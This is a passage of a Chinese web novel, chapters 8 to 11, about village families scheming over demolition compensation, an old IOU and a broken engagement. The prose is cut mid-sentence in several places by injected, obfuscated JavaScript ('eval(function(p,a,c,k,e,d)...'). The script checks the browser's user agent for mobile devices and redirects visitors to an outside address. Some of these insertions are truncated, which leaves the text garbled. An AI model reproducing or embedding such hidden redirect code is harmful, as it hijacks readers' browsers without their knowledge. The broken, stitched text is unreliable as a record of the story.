刘克仁脸上的笑又回来了,忍不住对着话筒夸道:“我就说嘛,我这外甥女儿,顶呱呱!” 刘克信也笑:“那哥,你看看你哪天有空回来一趟,这事就拜托你了。” “拜托什么啊,真见外,后天我休息,一早就回去。”刘克仁挂了电话,随手给部队的儿子打了个过去,问道,“俊啊,让你打听的事儿有着落了吗?” “没呢爸,我在海军,你让我打听陆军的事儿,还跨了好几个军区,需要点时间。”刘行俊也很无奈,不是他不想啊,他刚从军校毕业,在部队算新兵蛋子,没多少人脉,得慢慢来。 刘克仁想想也对,提了一嘴他小姑父姚良远被夏家欺负的事儿,让他上点心。 刘行俊明白,安慰道:“放心吧爸爸,我遇到西北来的战友就打听小姑父爸爸的事儿,早晚会有消息的。” 8. 变脸 吃了两天保胎的药,夏雨身上便好了。她偷偷去医院检查了一下,用的是自己二妹夏霜的名字。 夏霜也是可怜,结婚几年了都没有动静,最近在闹离婚呢。所以夏雨借用妹妹的名字,应该不打紧,计生组也不会怀疑到她头上的。 检查完,确定没什么问题了,她便收拾收拾,回娘家说一声,然后去桥东继续赖着。 她这叫提前占着坑,这么一来,等她娘家拆迁了,还愁没有地方住吗?那些安置房可不如二叔家的小楼住着舒坦。 她的算盘打得挺好,动作也足够利索,可是等她回到娘家的时候,才发现来了个稀客。 谁呢,刘克仁。她二叔姚良远的大舅哥。 这位可不好惹,人家大儿子是一建的设计师,吃的是公家饭,儿媳妇是老师,也是体面人。二女儿是个售楼处经理,开发商的名号在全国都是响当当的,所以这经理的油水很足,女婿是大学老师,学法律的。再看小儿子,人直接考了军校,一毕业就是军官。 他自己还是派出所片儿警,就是借夏雨几个胆子,她也不敢在刘克仁面前耍什么小聪明。 叫了人,便乖乖帮忙做饭去了,连自己孩子在不在桥东都没敢问。 一旦问了,刘克仁少不得要关心关心,好端端的,怎么把孩子送桥东去了?到时候这事就没法收拾了,只能等他走了再说。 可是不过年不过节的,他跑这里干什么?抓小偷?顺道儿? 夏雨一头雾水,只能撅了把干柴,往灶膛里添,小声问道:“夏雪,怎么回事啊?刘家大舅怎么来了?” 夏雪是老三,他们家一共四个孩子,最小的是个弟弟。 平时家务和农活儿都是三个姐姐干,即便有两个嫁了人也得回来帮忙,弟弟就负责享福。 这样的日子夏雪过得怨气冲天,闻言摇了摇头:“不知道。可能是金宝的事,请他来说和的。” 说的是她们弟弟搞大了同学肚子的事,这事闹了好几天了。刘家大舅来的时候,正好苦主张敏和她爸妈也在。 哭着闹着,要夏家给个说法,要么赔钱把孩子打了,要么结婚。 夏良达倒是想让两个孩子结婚,可是没到岁数呢。 张家只得退一步,让夏家先给彩礼,摆酒办婚礼,过了明路,自家女儿才不会被人指指点点。 夏良达本来也没意见,可是张敏爸妈听说桥西要拆迁了,狮子大开口,彩礼要一万。 夏良达肉疼,不想给,所以耗到了现在。 张敏的爸妈急了,索性提了个条件,他们家儿媳妇快生了,到时候就把孩子报在夏家户口上,如果孩子多分了钱,那就是张敏的,谁也不能占了。 张敏肚子里的孩子就留着,等到生下来,报在哥嫂户口下,反正俩娃只差几个月而已,到时候两家还是养自己的孩子就行了,只是实际月龄跟户口上的偏差一点。 夏良达没想到居然有人比他还会算计,一时愣住了,没个准话。 刘克仁倒是觉得这个法子不错,不过他还是提醒道:“你们先核实一下,现在还能新增户口吗?新增的还能算进拆迁的人头里吗?” 这个夏良达清楚,他毕竟是大队长,他点点头:“问过了,能算。我就是担心,万一两个孩子过不下去……” “过不下去那就一拍两散,不是给你家添了个孩子吗?”刘克仁看不惯夏良达这算计样儿。 一毛不拔就想让人家闺女没名没分的过来生孩子,想什么呢。 现在退而求其次,只是提前把孩子的名额报上而已,他还担心起来了。 可夏良达就是吃不准张敏到底会不会把孩子生下来,只得把心一横:“那你让张家立个字据,孩子必须生下来,不然拆迁款没她的份儿。” 那好办,张家等的就是这句话。 于是两家在刘克仁的见证下,立了字据,达成了协议。 明天就摆酒,办婚礼,让张敏把衣服里面再塞点棉花枕头,让肚子看起来更大一点。 事儿办妥了,夏良达松了口气,却见刘克仁还没有离开的意思,只得委婉道:“刘哥,在这里吃午饭吧?” 他本来是试探,意思是快到饭点儿了,你还是去桥东你妹子家吧。 谁承想,刘克仁痛快地应了句:“好啊。顺便把阿远一家子叫过来吧,我有事儿说。” 夏良达肉疼的哎,妈耶,一下要多七张嘴啊! 还不知道张敏的哥嫂要不要来,简直要了他的老命了。 可是没办法,夏良达也不敢招惹刘克仁,赶紧拿钱,让夏金宝去小卖部买酒,又去鸡窝里逮了只不下蛋的大公鸡,去鹅圈里拎了只爱咬人的大肥鹅。 夏雨和夏雪从没有见过这么大阵仗,一时有点反应不过来,齐声问道:“都杀啊?” “都杀。”夏良达叼着烟,叹了口气,有什么办法呢,人家儿子是军官,多少人还巴结不上这门亲戚呢,他总不能让人家来家一趟,就吃点萝卜青菜吧,说不过去的,他虽然扣,但也懂人情世故。 谁让他嘴贱呢,非要装模作样地留刘克仁在这里吃饭。 * 姚长安正在地里帮爸妈收拾果树,老远听见一把公鸭嗓在门口喊她。 那公鸭嗓很好认,是夏金宝,他不敢进来,门口大黑狗汪汪汪的,吓人。 姚长安只好一路小跑,出来说话。 “姐,你大舅在我家呢,你们一家都来吃饭。有事儿。”夏金宝平时吃得太好,横向发展,个子跟姚长安差不多。 姚长安还一米六八呢,他这身材,有人能看上也是见了鬼了。 姚长安心里嘀咕,面上带笑:“什么事啊金宝。” “不知道,你们快来吧,饭好了。”夏金宝怕热,说完便骑车走了。 等姚长安他们一家三口赶到桥西的时候,张敏的哥哥嫂子果然来了。 一楼堂屋里摆了两桌,汗味儿一蒸,怪难闻的。还好头顶的吊扇在转,穿堂风也凑合。 姚长安进去叫了人,挑了个靠门的位置,免得被熏着。 夏良达一看人齐了,这才宣布开席。一下要多九双筷子,他的心在滴血。 脸上还得赔着笑,敬完刘克仁,敬张敏的爸。想抽根烟,看到张敏那肚子,只得把烟夹在耳朵上,继续寒暄。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923831|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >农村男人都这样,三句话不离谁家儿子有出息, 这不,夏良达为了这个没出息的儿子,搭上这么一顿饭,只得自嘲:“还是刘家大哥有福气啊,大儿子在一建,小儿子在部队,真叫人羡慕啊。” 刘克仁等的就是这句话,他顺嘴接过小儿子的话题:“快别提了,我家行俊啊,到了部队才知道天外有天啊,比他厉害的不知道有多少。” “哎,刘大哥这话谦虚了,行俊能考上军校,已经算是人中龙凤了。”夏良达还是会拍马屁的,哪怕心里酸死了,也要狠狠拍。 刘克仁呷了口酒,感慨道:“哎,可惜啊,我家阿远也是人中龙凤啊,可惜了,可惜。” 这话夏良达没法接,怎么接?说他三弟是畜生,占了姚良远上大学的名额,却被开除了,转着圈的丢人? 还是说,他们家对不住姚良远?要给姚良远下跪磕头? 可要不是他们家,姚良远早饿死了。 夏良达不高兴,脸上的笑也快维持不住了。 没想到,刘克仁话锋一转:“不过好在,我家阿远是个有福之人啊!啊,哈哈哈。这不,我家行俊啊,在部队遇着一首长,打眼一瞧,哎呦,怎么长得那么像他小姑父呢?” 这话一出口,夏良达直接傻眼,他下意识坐直了,问道:“怎么,是巧合吗?还是说良远的亲老子还活着呢?” 刘克仁意味深长地跟夏良达碰了碰杯:“谁不好奇呢?这孩子赶紧给我打电话,问我,爸,我小姑父的亲老子不是个军人吗?我好像见着他了。我说你小子,别胡说,你小姑父的亲老子要是还活着,能不认他?行俊一听急了,说爸你不懂,早些年去大西北开荒的兵团,后来还被安排去开山挖隧道,挖隧道的时候出过事儿。指不定小姑父的亲老子就是被炸伤了脑子还是怎么着,忘了这孩子了。” 这事儿显然夏良达也听说过,那些挖隧道的不光有被炸伤的,还有牺牲的呢。 他有些激动,下意识看了眼坐在门边的姚良远,问道:“这确实有可能,可是他老婆呢?总不见得也忘了自己有这么个儿子吧?” 刘克仁慢条斯理地把酒斟满,故意吊着夏良达的胃口,慢悠悠道:“我也这么问的啊,我就说,行俊啊,你这首长叫什么啊,他爱人呢?行俊说,爸你闹呢,我一个新兵蛋子,哪敢找首长说话啊,只知道首长姓姚。这样,我托我战友打听一下,看看首长全名叫什么,他爱人在不在,叫什么,要是跟小姑父的情况对上了,那说明有别的隐情呗。爸你也别闲着,你去我小姑父家把他从小到大的照片找过来,万一这位首长真是小姑父的亲人,有他的照片才好相认啊。我一听,这法子不错。所以我今天过来,就是来找阿远的照片的。” 话音落,夏良达赶紧看了眼他老子娘,完了,那姓姚的军官真要是活着,认是不认啊? 认吧,万一姚良远把这些年受的委屈告诉他们,夏家可得吃不了兜着走。 不认吧,这老刘家的小儿子都遇上那军官了,他也阻止不了啊。 只能想办法说好话,让姚良远把旧账一笔勾销。想到这里,他赶紧起身:“阿远啊,来来来,坐哥这儿。” 9. 拆迁 夏良达变脸的速度堪称教科书,姚长安知道,这说明她的计划奏效了,既然这样,那么爸妈就没必要跟他们起什么正面冲突了。 最好的结果就是大家表面上和和气气的,背地里哪怕气得骂娘,也要给外界一个和睦友好的假象。 这么一来,对方犯罪的成本是不断增加的——有形的有限度的法律制裁,和无形的无限度的道德谴责。 农村人都好面子,不喜欢被人指指点点,农村人也好拉家常,最喜欢在背后指指点点,所以道法两根大棒加在一起才能起到最好的威慑作用。 不过,还是要防备暗地里的小动作。 她便起身让开,方便姚良远出去调换座位,顺手拿起了酒杯,塞到他手里:“爸,你的杯子。” 里头装的是白开水,免得喝酒上头,答应一些不该答应的东西。 姚良远心里明白,他去年查出有点轻微的酒精肝,已经戒酒了,便端着白开水,去了夏良达身边,原本座位上的张敏爸爸便往旁边挪了一个位次,其他人跟着调整。 别看地方小,破规矩还挺大,所谓庙小妖风大,不外如是。 夏良达拉着姚良远的手,说起了从小到大的情分,说着说着便开始劝酒,姚良远一开始还能用被子里的白开水糊弄一下,可是那杯子不大,水很快喝完,夏良远又提着酒瓶,一个劲地要给他斟酒,姚长安急了,只能扯了扯刘克信的袖子,让她劝一劝。 刘克信却摇了摇头,农村人就是这样,谁家男人在外头喝酒被自家女人拦住了,是要被人笑话的。 无奈,姚长安只得做个混不吝了,反正她臭脾气的声名在外,于是她径直走过去,从夏良达手里夺了那酒瓶:“大伯,我爸酒精肝,不能喝。我知道你是故意的,你是在考验他戒酒成不成功!你放心好了,我爸早戒了。这酒还是给各位叔叔伯伯和大舅喝吧,我来倒酒。” 话都说到这个份上,谁也不好反驳她,就连张敏的爸爸要劝酒,那酒瓶也会到她手里,嘴里喊着:“我来我来,叔叔你辛苦了,为了金宝这个混小子的事操碎了心,你放心,我大伯可是大队长,要给老百姓做榜样的,全家都会对张敏好的。” 无奈,所有人都被架起来戴了高帽,最后姚良远愣是滴酒未沾,头脑清醒地聊到了最后。 姚长安的担心是对的,那夏良达好几次提起盖这栋房子的钱,话里话外想让姚良远给个承诺,以后真的认祖归宗了,别计较这些,都是一起长大的兄弟,血缘不在,情分在。 姚良远想着自己毕竟是夏家养大的,很多事情只能点到为止,便承诺了夏良达:“大哥你放心,这些都是我自愿的,没有人逼我,就是天王老子来了,我也是这句话,男子汉,大丈夫,说得出,做得到!” “好!哥敬你!”夏良达最后一次尝试劝酒,奈何酒瓶在姚长安手里,最后敬的还是白开水。 等到这一家三口挽着胳膊走了,夏良达才酸不溜丢的说了一句:“可惜了啊,阿远没有个儿子啊,我也只有金宝这一个宝贝,但凡我有个儿子,都不能让阿远绝后啊。” 刘克仁还没走,听着这话不高兴,起身做起了思想工作:“良达啊,你这思想要不得啊,我家安安不比男孩子差嘛,啊?别说你们全村,就是你们全镇,有谁考的大学比她好?人要学会与时俱进,现在新时代了,男女平等了。只有女儿怎么就绝后了呢?你还是大队长呢,这觉悟,不行啊,要加把劲儿跟上时代。啊。” 夏良达尴尬地笑笑,想说这女儿也不是亲生的啊,视线对上,挨了刘克仁一记眼刀子,到底是没敢声张。 村里知道这事的本就不多,何况外村,张敏跟金宝能不能走下去还是两说,现在就大嘴叭叭儿的揭人家的短,万一张敏嘴巴漏风呢?破坏人家的家庭,缺德啊。 夏良达不想被人戳脊梁骨,只好闭嘴。刘克仁又训了他几句,这才去了桥东。 人刚走,夏雨便她老子诉苦来了。 她还是杀完大鹅才知道,她女儿早就在她出事当晚被送回来了,说什么害怕被计生组查。 她不甘心啊,问道:“爸,你说我还能去桥东养胎吗?” 夏良达正靠墙坐着抽烟,眯着眼睛吞云吐雾的:“怎么去?你好意思去吗?你二叔都答应了,盖房子的钱不要咱还。真把他惹急了,拿出当初的欠条,回头咱家拆迁款都得是他的。” 夏雨有点憋屈,扇了扇烟雾:“爸,我怀着孕呢,张敏在的时候没不见你抽啊。” “张敏怀的是我孙子,你怀的是别人家的种,那能一样吗?”夏良达歪理一堆。 夏雨气笑了:“照你这么说,张敏是张家的种,我是你的种,那能一样吗?” 夏良达被怼得没口开,只好把烟掐了,不耐烦道:“矫情什么,前两个也没见你这样。” “前两个我没说你吗?你不听啊。人刘家舅舅今天也说了,你这老观念要不得了。难不成你老了就不指望我端汤送药了?” “你敢,老子养了你,你敢不孝,唾沫星子都能淹死你。” “我不敢,那你不能给我添麻烦不是吗?要是孩子被你的烟熏出个好歹来,我不得花钱给他看病啊?钱花在他身上,不就没法花在你身上了?” 这话有点道理,夏良达不生气了,叹了口气:“都怪这个刘克仁,当初就是他,非要我打欠条,不然就不让你二叔拿钱给我。这事得想个法子解决了,要不然,只凭你二叔的口头承诺,以后真有了变化,法院也不认啊。” 夏雨正想说这事呢,想了想,问道:“要不这样,他们家果园不是找人帮忙浇水吗?” “啊,那怎么了?”夏良达烟瘾上来了,还是想抽,掏出来又塞了回去,憋会儿吧,他这女儿嘴皮子太利索了,说不过。 夏雨擦完桌子了,拽着椅子坐在他旁边,小声道:“爸,现在是夏天,果园里肯定有蛇,我小舅不是会玩蛇吗?叫他假装过去帮忙,到时候偷摸抓一条没毒的水蛇过去,假装被咬,讹他们一笔。这么一来,就算他不肯撕了欠条,咱也不吃亏。” 夏良达一拍大腿,哎呦,这个办法好啊!不禁对这个女儿大为赞赏:“嗯,聪明,是我的种!” 夏雨得意地哼着好日子,扫地去了。 夏良达赶紧去隔壁村找他小舅子,这人是出了名的懒汉,平时最能搅合事儿了,可惜这次拆迁拆不到那里,只能坐在家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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到时候当面撕了,夏良达也看不出真假来,真的却藏在大舅家里,以备不时之需。 所以复印完,她便找刘克仁问道:“大舅,你们这儿有卖古董的吧?” “买那玩意儿做什么?十个有九个半都是假的。”刘克仁不稀罕那劳什子。 姚长安笑道:“我不买,我想找人把这几张复印的欠条做旧,做假古董的人最懂这个了,你带我去找找吧。” 嘿,这小丫头,可以啊。刘克仁问了问她具体的打算,便趁着午睡时间,赶紧带她去了,下午他要值班,没空。 等姚长安拿着假欠条跟爸妈从县城回来,才知道桥西拆迁的事黄了。 一旦桥东要拆的事情传开来,夏良达必然咽不下这口气,是一定会来要欠条的。 姚长安赶紧叫住爸妈,摘下一楼客厅挂着的相框,把假欠条藏在后面,这样才真实。 果然,第二天科技公司的老总就来了。 同样是领导陪着,一个个的,直奔桥东。桥东好啊,住户少,农田多。住户少代表闹事的人就少,拆迁难度小;农田多代表建设的难度就小,开发成本低。反正科技公司在这里盖的是实验园区,三五层就顶天了,不像那些商品房动辄二三十层的,即便这地是泥沙冲击出来的,问题也不大。 何况这家公司,来这搞的是航空模型的研发,以及遥感遥控极其相关软件的开发,需要经常试飞。这跟他们母公司主营的通信技术是息息相关的。这边地段开阔,电线没几根,视野开阔,简直完美。 当天下午,桥东要拆的消息就插上了翅膀,飞遍了全村。 10. 多余 邢亚辉的天塌了,他献出了自己的青涩和美色,原以为可以换来一个富贵的明天,却不想,到手的鸭子这么快就飞了,桥西不拆了! 他快崩溃了,在电话里埋怨温枕瑜:“表哥,我要被你坑死了!桥西的项目黄了,真正要拆的是桥东!” 那头却很淡定,平静道:“嗯,我知道。” “你知道?你什么时候知道的?为什么不告诉我?”邢亚辉急得百爪挠心。 温枕瑜却气定神闲的,无所谓道:“怕什么?姚长安的爸妈就快死了,等着吧,她会主动过来找你求复合的。” “真的吗?”邢亚辉表示怀疑,之前表哥说桥西要拆迁的时候,也是信誓旦旦的,结果呢? 他有点怕了,再三确认之后,才挂了电话,忧心忡忡地找冯媛媛去了。冯媛媛刚才给他打了电话,说有事找他。 暑假的天黑得很晚,晚饭过后,天依旧亮着,村里人三三两两的凑在河边乘凉,聊天。 不少人对于拆迁的变故气不打一出来,这会儿已经有两户兄弟,隔着长长的河道,在两岸对骂起来了。 拆迁黄了的火气冲天,即将拆迁的喜上眉梢,对骂很快成了单方面的奚落。 “三十年河东,三十年河西。当初爸妈偏心你们,把河西的祖宅给了你们,这下好了,拆迁黄了吧!哈哈哈!该!” 这话听在邢亚辉的耳朵里,跟数落他没有区别。他跟姚长安才分手几天啊,事情就有了这么刺激的反转,可别闹到最后人家爸妈没事,不需要他去顶门立户,他才是真的竹篮打水一场空。 来到冯家的时候,冯媛媛正在哭。她爸妈也在,看起来心情很不好。 邢亚辉没想到来得不是时候,叫了声叔叔阿姨就准备开溜,没想到冯父叫住了他:“你小子心虚了?” 邢亚辉尴尬地回头看着冯父:“叔叔,我不懂你在说什么?我是来找媛媛出去玩的,没想到她在哭。我想着不方便,不如下次吧。” 冯父冷笑一声:“别装了,媛媛什么都说了!” 那完了!邢亚辉的脑子轰的一下,短路了,他怔怔的看着冯父,不清楚对方打算怎么收拾他,只得硬着头皮杵在人家堂屋门口,脸颊涨得通红,活脱脱是个没有担当的懦夫。 冯父看他这个龟孙样,气不打一出来,骂道:“媛媛你看看!这就是你选的男人?他连承认的勇气都没有?你还指望他能有什么担当?” 冯媛媛哭着抬起头来:“爸,你别这么凶,你吓到他了。” 冯父无奈叹息:“不是爸爸想凶他,这么大的事,他一点担当都没有,你要我怎么放心让你跟他好?” “是啊媛媛!爸妈都是为你好啊!”冯母也没想到女儿会这么糊涂,趁着家长不在,带男生来家里做那种事。 要不是邻居多嘴,他们两口子还要蒙在鼓里呢。 她当然生气,幸幸苦苦养大的女儿,就这么被一个没有担当没有责任心的小畜牲给祸害了,她没忍住,骂了女儿一顿。 骂完又心软,只得妥协,只要邢亚辉主动承认并且愿意负责,他们就答应两个孩子在一起,没想到结果是这样。 可是父母的智慧并不能直接遗传给孩子,尤其是这种忙碌的父母,平时对孩子的教育总有疏忽的地方。 总之,冯媛媛听不进去,她起身跑过来挽住邢亚辉的胳膊:“你说句话啊,你说你愿意负责,我爸妈就不生气了。” 邢亚辉哪里想负责,只想爽一把骗了钱就跑,可是现在,无形的刀架在了他的脖子上,他只好硬着头皮,道:“不是我不想负责,而是我妈妈临终前,给我定了门婚事——” 话音未落,冯父打断了他:“你别扯这个,我今天遇到你姚叔叔了,他跟我说了,你跟他们家安安的婚约取消了!” 邢亚辉没想到姚家居然主动传播了这事,这不对劲啊!在农村,别管谁对谁错,只要退婚,受伤害最大的肯定是女方。 这就跟离婚一样,女方家里一般都会藏着掖着,实在瞒不住了才会承认。除非女方着急找下一家,才会赶紧澄清。 难不成,姚长安有人了? 怪不得他去提分手,她那么痛快就答应了!不,确切的说,是她先提出来的! 他一开始不理解,现在终于明白了,原来她早就背着他跟别人好了! 就是不知道男的是谁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923833|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别让他查出来,不然他跟那人没完! 他深吸一口气,还是先应付目前的困苦,他狡辩道:“嗯,是这样没错,但是我爸还不知道,这只是我跟姚长安私下里的决定。所以我需要一点时间,做做我爸的工作。” 冯父冯母对视一眼,这个理由倒是说得过去,只是,就这么放这个小子离开是不行的! 于是冯父出去,把邢亚辉的叔叔和爷爷叫了过来,让双方长辈做个见证,以后有了什么变故,不至于空口无凭。 可怜邢亚辉,完全没有想到冯家父母还能出这么一招,只得跟个瘪三一样,承认自己一时冲动,并保证一定会对冯媛媛负责。 离开冯家的时候,邢亚辉心里已经把温枕瑜骂了无数遍了。 都怪二表哥,一个劲的怂恿他!这下好了,当着叔叔和爷爷的面,转着圈的丢人,等他爸爸知道了,少不得要抽他两皮带,想想就可怕。 只能硬着头皮,来桥东找姚长安,让她先跟他爸说一声,有个缓冲会好一点。 没想到姚家正在欢天喜地地大扫除呢。 光是站在院门口,听一耳朵里头的声音,都能感受到这家的家庭气氛,是那么的温馨与和谐。 他好羡慕,他妈死了好几年了,爸爸又找了新的老婆,他在那个家里成了多余的。 还是妈妈疼他,临终的时候,豁出去老脸,给他争取来了这么一桩婚事。 凭良心说,这应该是他目前可以找到的最好的岳家了,可惜,在表哥的怂恿下,提前失去了。 现在又被冯家爸妈抓住了小辫子,想回头怕是没有那么容易的。 除非姚长安的爸妈真的会死。 可是,这可能吗?看不出来啊?站在姚家门口,他第一次开始怀疑起表哥的话来。 正胡思乱想,便看到姚长安提着两袋子老旧的瓶瓶罐罐出来了。 他赶紧堆出一脸的笑:“那个,安安,有个事我想请你帮个忙。” 姚长安仿佛没有看到这个人,径直把东西摆在门口,又推了自行车出来,东西绑在后座,就这么潇洒地走了。 邢亚辉没辙,只好厚着脸皮,去院子里找姚良远。 11. 挨揍 姚良远正在收拾最东边那栋楼。当初盖房子的时候,村里人都不理解,他家只有一个女儿,就算将来招赘在家,也用不着盖这么多楼吧。 现在拆迁的消息传开了,大家才意识到这个男人是多么的有远见,他不发财谁发财? 想想也对,栖梧县的地理位置还算不错,虽然海边全是滩涂,没办法发展成海港或者旅游城市,可是这里距离全国的经济中心海城很近,开车的话也就一个多小时,照着海城的发展速度,迟早是要往这边扩张的。 即便行政划分上,栖梧县不可能并入海城的区划范围,可是栖梧县所属的东昌市,早就有了海城的飞地。这几年也有不少海城的老总来栖梧县盖厂房、建园区。 一切早有征兆,只是普通老百姓没有走一步看三步的魄力,即便有,也没有姚良远到处借债创业的勇气。 此时此刻,看着忙进忙出的姚良远,邢亚辉的内心被强烈的悔意所吞没。 三栋小楼,一座果园,再加上姚家本来就有的口粮田,拆迁款将是一个无比惊人的数目。 何况,这三栋楼全都做了精装修,唯一的区别只在于两边的房间没有装空调,而拆迁补偿的标准,是会根据装修情况做调整的。 按照栖梧县近两年的补偿标准来算,姚良远家起码可以拿到五六百万的拆迁补偿款,这还没算他家果园里那些果树的价值。 更何况,姚家在镇上还有饭店和商店,没了果园也不愁生计,他们家在县城还买了房,真拆了也不用担心去安置房里受委屈。 拆迁的这笔钱就是纯收入,纯的!把这笔钱存进银行吃利息,都够这一家子躺平,一辈子吃香喝辣了。 如果他没有听表哥的话,如果他现在还是姚家的女婿,将来这笔钱就是他的! 邢亚辉越想越是肝肠寸断,越想越是害怕他老子知道他跟姚长安分手的事情。 现在唯一的指望就是姚良远和刘克信两口子出事了,邢亚辉自己是不敢动手杀人的,毕竟大表哥是个刑警,铁面无私的,只要查出来是他,就绝对不可能包庇纵容。 他只能祈祷二表哥真的是个预言家。 他挤出一脸的笑,喊了声姚叔叔。 姚良远拎着两袋从楼上整理出来的杂物,诧异地看着他:“是小辉啊,有事吗?” 邢亚辉尴尬地搓了搓手:“那个,姚叔叔,我跟安安分手的事情,我爸还不知道,你们可不可以帮帮忙?” “怎么?怕你爸揍你?”姚良远蹙眉打量着这个小子,长得倒是相貌堂堂,奈何是个绣花枕头,中看不中用。要不是看在他妈妈临终托付的份上,姚良远压根不可能点头的。 现在两个孩子分了手,姚良远真是求之不得,根本不想再跟邢亚辉啰嗦什么。 长辈的不耐烦溢于言表,邢亚辉自然感受到了,他只能卖惨,打感情牌,红着眼睛道:“姚叔叔,你也知道,自打我妈走了,我爸就不怎么管我了,他跟肖阿姨还有了孩子,我简直成了一个多余的人。这几年多亏有你们撑腰,肖阿姨才不敢把我怎么样。可是现在……现在我跟安安分了,肖阿姨肯定会蹬鼻子上脸,我爸也会发火揍我。我光是想想就觉得害怕,姚叔叔可不可以帮我说点好话,就说……就说你认我做了干儿子,以后还是会关照我的。当然,我不是要你真的认我做干儿子,我只是想让肖阿姨有点顾忌,我……” 姚良远懂了,这混账羔子肯定是后悔了,真心未必有几分,多半是因为拆迁的事吧?不敢提复合,肯定是因为他跟冯媛媛的事情瞒不住了,现在唯一的办法就是弄个干儿子的身份,继续背靠姚家好乘凉。 算盘打得噼啪响,可惜一厢情愿的买卖是做不来的。 不过,想想邢亚辉九泉之下的妈,姚良远并不打算把事情做绝了,毕竟当初盖房子建果园,人家没少帮着他老婆忙前忙后。 于是姚良远说道:“干儿子就算了,我不想让我家安安误会我跟他妈妈想要儿子。不如这样,你回去跟你爸爸说,今年开始,大学毕业就不包分配了,开学你就大四了,工作的事情我帮你解决。” 邢亚辉有点意外,他怔怔的看着姚良远,眼泪刷的一下落了下来:“姚叔叔……你真好,谢谢你。” “应该的,你妈虽然不在了,可你毕竟是我跟你刘阿姨看着长大的,婚约不在了仁义在。也不枉你刘阿姨跟你妈妈姐妹一场。”姚良远做事喜欢留余地,现在这样,算是他最后的慈悲了。 今后再有什么事,他不可能再给一个死人面子了。毕竟是邢亚辉自己不检点,怨不得别人。 邢亚辉吸了吸鼻子,再三道谢后,特地跑去西边那栋楼,叫了声刘阿姨。 刘克信没有姚良远那么好的脾气,看到这小子只觉得恶心,粗声粗气地嗯了一声,便自顾自忙去了。 邢亚辉站在门口,还想说点什么,奈何刘克信直接去了二楼,擦玻璃拖地板去了。 邢亚辉只好讪讪地离开了姚家,走的时候一步三回头的。 这要是以前,他来姚家做客,离开的时候刘阿姨必定会追出来,又是给他提吃的,又是给他塞钱。 可是现在,身后只有无限的孤单和寂寞。 邢亚辉站在河边的水泥路上,看着灯火通明的姚家,默默地叹了口气。 天快黑了,姚长安还没有回来,视线里,萤火虫从旁边的芦苇荡里成群结队的飞出来,星空下翩跹起舞。 右手边是绵绵不绝的漱玉河,两边住户会在相应的河段建一道下河的阶梯,河边搭一座木头水凳,方便浣衣洗菜。后来木头被淘汰,换成了水泥板,下来的阶梯也从纯土质的泥梯换成了水泥浇筑的阶梯。 他下意识地走到阶梯那里坐下,看向涟漪阵阵的河水,想再等等,等到姚长安回来,起码问一声,她是不是另寻新欢了。 结果等来等去,没等着姚长安,倒是等到了他老子,骑着自行车,打着手电,过来找他兴师问罪。 车子还没挺稳,谩骂诅咒的声音已经劈头盖脸的砸了下来。 邢亚辉只得从台阶上起来,拍了拍屁股,辩解道:“不是的爸,不是我主动毁约的,是姚长安——” 话音未落,姚长安骑着自行车回来了,她打断了邢亚辉的话茬,质问道:“我怎么了?邢叔叔,你来得正好,我正要找你呢。你家亚辉跟桥西的冯媛媛好上了,特地跑到我家里跟我提分手。我这人你知道的,一向脾气不好,要面子,我能等他先开口吗?我只能抢先一步,说我不要他了。不信你问他是不是这样!当时我夏雨姐姐跟邹佳嫂子都在呢,她们可以为我作证的!” 邢铁军黑着脸,看向路边的儿子,质问道:“你还有什么想说的?” “爸,不是这样的,你听我说。”邢亚辉还想狡辩,反正他怀疑姚长安也找了别人,只要拿出这个借口,他找冯媛媛的事情就没那么可恶了。 结果他老子一想到桥东要拆了,火气就蹭蹭往上冒,一脚踹过来,骂道:“还敢犟嘴?你叔已经打电话跟我说了!你爷爷也在场,难不成你叔跟你爷爷都冤枉你了吗?你把你老子的脸都丢光了!学什么不好?学那些二流子,跑到人家家里做那种事,你怎么对得起你死去的妈!你怎么对得起人家安安!” 说话间,邢铁军解开了裤腰带,准备抽死这个败家子。 吓得邢亚辉拔腿便往姚家跑去,姚家本就住在河边,几步就到了,邢亚辉嚷嚷着救命,钻到东边那栋楼,直往姚良远的身后躲。 邢铁军已经追了过去,车子就丢在河边路上,姚长安担心黑灯瞎火的车子丢了都不知道谁干的,只得先把自己的车子推回去,又跑过来把邢铁军的车也带回了院子里。 真是一出好戏,父子俩围着姚良远,玩起了秦王绕柱,一个嘴里嚷嚷着打死你,一个嘴里嚷嚷着我妈不会瞑目的,就这么闹腾个没完。 姚长安可不想拉扯之间误伤了自己爸爸,便走到院子西边,从厨房里拉了一卷水管出来,院门口种了不少蔬菜,这是浇水用的,这会儿用来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 